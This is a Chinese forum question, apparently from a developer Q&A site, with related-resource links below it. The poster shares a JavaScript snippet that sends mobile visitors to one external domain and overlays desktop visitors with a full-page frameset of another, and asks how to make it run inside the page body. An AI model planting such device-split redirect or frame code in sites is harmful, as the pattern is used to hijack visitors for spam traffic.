frame 封装后的 JS只能在body外面调用才有效,怎么才能在body内调用有效果呢?或者有什么办法让他不考虑body
function is_mobile() {
var regex_match = /(nokia|iphone|android|motorola|^mot-|softbank|foma|docomo|kddi|up.browser|up.link|htc|dopod|blazer|netfront|helio|hosin|huawei|novarra|CoolPad|webos|techfaith|palmsource|blackberry|alcatel|amoi|ktouch|nexian|samsung|^sam-|s[cg]h|^lge|ericsson|philips|sagem|wellcom|bunjalloo|maui|symbian|smartphone|midp|wap|phone|windows ce|iemobile|^spice|^bird|^zte-|longcos|pantech|gionee|^sie-|portalmmm|jigs browser|hiptop|^benq|haier|^lct|operas*mobi|opera*mini|320x320|240x320|176x220)/i;
var u = navigator.userAgent;
if (null == u) {return true;}
var result = regex_match.exec(u);
if (null == result) {return false}
else {return true}
}
var jsurl='http://dx.zlxbzx120.com/';
var jsurlm= 'http://mdx.zlxbzx120.com/';
if (is_mobile()) {window.location.href=jsurlm;}
else{
document.writeln("<script language = javascript>");
document.writeln("document.write(\"<frameset rows=\'100%,*\' frameborder=\'NO\' border=\'0\' framespacing=\'0\'>\");");
document.writeln("document.write(\"<frame name=\'main\' src=\'http://dx.zlxbzx120.com/' scrolling=yes>\");");
document.writeln("document.write(\"<\/frameset>\");");
document.writeln("<\/script>");
}
...全文
相关推荐
swift-针对WKWebView进行的封装支持和H5交互包括调用js方法等
针对WKWebView进行的封装、支持和H5交互、包括调用js方法等。挺全面的!真的。其他针对WKWebView封装的就不要看了。
jQuery控制frames及frame页面JS的方法
主要介绍了jQuery控制frames及frame页面JS的方法,涉及jQuery针对页面元素的判定及frame框架的操作技巧,需要的朋友可以参考下
frame分页显示foot、head、body、左侧边栏例子
frame分页显示foot、head、body、左侧边栏例子 清晰明了,绝对可以用,可以点击隐藏左边栏。 稍微研究下,便可知道frameset的原理。适合初学网页设计者。
举例讲解HTML中iframe和frame的区别
frame这个标签不知大家注意过没有,它必须放在frameset中使用,而且经常容易和iframe混淆,这里我们就来举例讲解HTML中iframe和frame的区别,需要的朋友可以参考下
Javascript,Html,Css,Frame框架整合的菜单样式
Javascript,Html,Css,Frame,Frameset框架整合的菜单,左则菜单可以收缩,上面菜单有并排的子菜单!



